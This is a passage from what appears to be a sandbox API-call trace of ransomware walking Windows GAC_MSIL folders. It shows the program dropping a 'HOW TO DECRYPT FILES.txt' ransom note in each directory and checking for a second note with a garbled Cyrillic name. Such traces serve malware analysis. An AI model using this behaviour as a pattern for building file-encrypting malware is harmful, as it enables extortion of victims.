lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\" [0101.005] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.005] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.005] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.access\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.005] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.dll" [0101.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.ems") returned 0 [0101.006] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50eed0f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50eed0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50f13250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Access.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.006] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.006] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50eed0f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6699150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6699150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.006] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.006] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6117e70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6117e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6117e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.12.0.Microsoft.Office.Interop.Access.Dao", cAlternateFileName="POLICY~1.DAO")) returned 1 [0101.006] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.Dao") returned -1 [0101.006] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.Dao") returned -1 [0101.006] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.006] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.Dao" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao" [0101.007] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6117e70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6117e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6117e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.008] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.008] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6117e70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6117e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6117e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.008] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.008] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.008] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6117e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6117e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.008] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.008] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.008] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\*.*") returned="*.*" [0101.008] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c" [0101.008] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6117e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6117e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.011] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.011] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6117e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6117e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.011] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.011] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.011] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eaf6290, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eaf6290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Access.Dao.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.011] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.011] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.Dao.config") returned -1 [0101.011] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.Dao.config") returned -1 [0101.012] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.Dao.config") returned -1 [0101.012] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.012] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\" [0101.012] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.012] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.012] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.access.dao\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.012] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.access.dao\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.015] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.015] CloseHandle (hObject=0x90) returned 1 [0101.015] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.Dao.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.Dao.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.Dao.config" [0101.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.Dao.config", pszSpec="*.ems") returned 0 [0101.016] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x511e6c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x511e6c70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Access.Dao.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.016] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.016] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.Dao.dll") returned -1 [0101.016] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.Dao.dll") returned -1 [0101.016] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.Dao.dll") returned -1 [0101.016] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.Dao.config") returned="Policy.12.0.Microsoft.Office.Interop.Access.Dao.config" [0101.016] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\" [0101.016] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.016] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.016] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.access.dao\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.016] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.Dao.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.Dao.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.Dao.dll" [0101.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.Dao.dll", pszSpec="*.ems") returned 0 [0101.017] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x511e6c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x511e6c70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Access.Dao.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.017] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.017] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6117e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6117e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.017] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.017] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa67c9c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa67c9c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa67c9c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6769, dwReserved1=0x69006c, cFileName="Policy.12.0.Microsoft.Office.Interop.Excel", cAlternateFileName="POLICY~2.EXC")) returned 1 [0101.017] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Office.Interop.Excel") returned -1 [0101.017] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Office.Interop.Excel") returned -1 [0101.017] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.017] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Excel" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel" [0101.017] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa67c9c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa67c9c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa67c9c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.018] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.018] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa67c9c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa67c9c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa67c9c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.018] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.018] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.018] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e822870, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa67c9c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa67c9c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.018] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.018] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.018] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\*.*") returned="*.*" [0101.018] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c" [0101.019] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e822870, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa67c9c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa67c9c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5f0030, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.020] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.020] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e822870, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa67c9c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa67c9c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.020] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.020] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.020] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c534f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c534f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x382, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Excel.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.020] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.020] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Excel.config") returned -1 [0101.020] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Excel.config") returned -1 [0101.020] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Excel.config") returned -1 [0101.021] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.021] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\" [0101.021] PathAddBackslashA (in: 